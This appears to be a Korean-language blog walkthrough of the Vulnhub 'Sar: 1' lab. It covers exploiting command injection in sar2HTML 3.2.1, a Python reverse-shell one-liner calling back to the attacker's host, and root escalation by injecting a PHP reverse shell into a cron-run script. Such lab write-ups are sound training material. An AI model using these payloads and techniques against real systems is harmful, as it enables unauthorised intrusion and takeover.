Vulnhub

[Vulnhub] Sar Walkthrough

jeff_kim 2024. 7. 9. 18:32

https://www.vulnhub.com/entry/sar-1,425/

 

Sar: 1

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

 

 

Reconnaissance

└─$ sudo nmap -sn 192.168.45.0/24                                               
Nmap scan report for 192.168.45.239
Host is up (0.00018s latency).
MAC Address: 08:00:27:AA:E1:85 (Oracle VirtualBox virtual NIC)

 

HTTP

Apache2 기본 웹 페이지 입니다.

페이지 소스는 별 다른 특이사항 없습니다

/robots.txt  -> sar2HTML로 접속해봅니다

nikto, dirb, gobuster 툴을 이용한 디렉터리 브루트포싱 및 잠재적 웹 취약점 분석

획득한 정보로는

/robots.txt 에 노출되어있는 엔드포인트

sar2HTML v 3.2.1 를 사용하고 있다는 점

/phpinfo.php에 OS에 대한 정보가 노출되어있다는 점

 

Vulnerability

혹시 몰라서 디렉터리 경로를 추가해 브루트포싱을 진행했지만 별다른 특이사항 없음

URL_BASE: http://192.168.45.239/sar2HTML/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Not Stopping on warning messages

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.45.239/sar2HTML/ ----
+ http://192.168.45.239/sar2HTML/index.php (CODE:200|SIZE:4812)                                                                                             
+ http://192.168.45.239/sar2HTML/LICENSE (CODE:200|SIZE:35149)

sar2html 버전을 활용하기 위해 searchsploit 툴을 이용해서 취약점 진단 실시

 

3.2.1 버전은 RCE가 가능한 것으로 보인다

 

/index.php에 plot라는 파라미터값이 있으며 원격 코드 실행을 하기 위해서 ; 을 붙여서 익스플로잇을 한다

정상적으로 id 명령어가 실행

 

/etc/passwd 파일까지 확인이 가능했다.

 

Exploitation

RCE 취약점으로 리버스쉘을 획득하기 위해서 다양한 방법이 있겠지만 이번에는 대상호스트에 python이 있는지 확인해본다

python3가 실행이 가능한 것으로 나온다

netcat을 이용해 리버스쉘 리스닝을 준비한다

└─$ nc -nlvp 9999         
listening on [any] 9999 ...


# python3 revseshell payload
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("192.168.45.219",9999));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/sh")'

정상적으로 대상호스트로 초기 침투에 성공

 

Privilege Escalation

user.txt 플래그 값이네요

어떤 스크립트 파일을 찾았습니다

/tmp 디렉터리에는 아무 파일도 없는데요

 

write.sh 파일에서 악성 리버스쉘 페이로드를 삽입한 후 finally.sh를 실행 시키는 계획을 세우기 전에 저 파일이 어디선가 실행이 될텐데 가장 유력한 것은 cron 입니다

5분 간격으로 관리자 권한으로 finally.sh를 실행시키고 있네요

 

권한 상승을 하기 위한 로직은 이렇게 되겠네요

1. 5분 마다 관리자 권한으로 finally.sh를 실행

2. finally.sh는 write.sh를 실행시킴

3. finallly.sh는 쓰기 권한이 없지만 write.sh는 권한이 있음

4. write.sh에 악성 페이로드 삽입 후 5분 대기 -> 관리자 권한 획득

 

저는 php-reverse-shell.php 파일을 오랜만에 이용해보겠습니다

└─$ mv php-reverse-shell.php exploit.php   
                                                                                                                                                             
└─$ python3 -m http.server 1234         
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...
192.168.45.239 - - [09/Jul/2024 18:23:11] "GET /exploit.php HTTP/1.1" 200 -

echo 'php ./exploit.php' >> write.sh

www-data@sar:/var/www/html$ cat write.sh 
#!/bin/sh

touch /tmp/gateway
php ./exploit.php


# root reverse shell listening
└─$ nc -nlvp 3333
listening on [any] 3333 ...

5분동안 대기해봅시다!!

 

사실 대상호스트로 파일을 보내면 아티펙트가 남아서 가용성이 떨어질 수 있어 그렇게 선호하는 방법은 아니지만 다양한 방법으로 페이로드를 실행 시키고 하는 연습을 하고있으니 괜찮다고 생각..합니다

 

다시,,,

리버스쉘 페이로드를 대상호스트로 보낸 후에 5분이 지나도 리버스쉘이 안 넘겨져서 그냥 실행을 해보았다.

 

이러한 에러들이 발생하긴했는데,

그래도 정상적으로 관리자 권한을 가진 리버스쉘을 획득했습니다.

 

root.txt 플래그 값입니다.

'Vulnhub' 카테고리의 다른 글

[Vulnhub] EVM Walkthrough  (0) 2024.07.12
[Vulnhub] djinn Walkthrough  (0) 2024.07.11
[Vulnhub] Symfonos: 5.2 Walkthrough  (0) 2024.07.08
[Vulnhub] Symfonos: 4 Walkthrough  (0) 2024.07.07
[Vulnhub] Symfonos: 3.1 Walkthrough  (0) 2024.07.05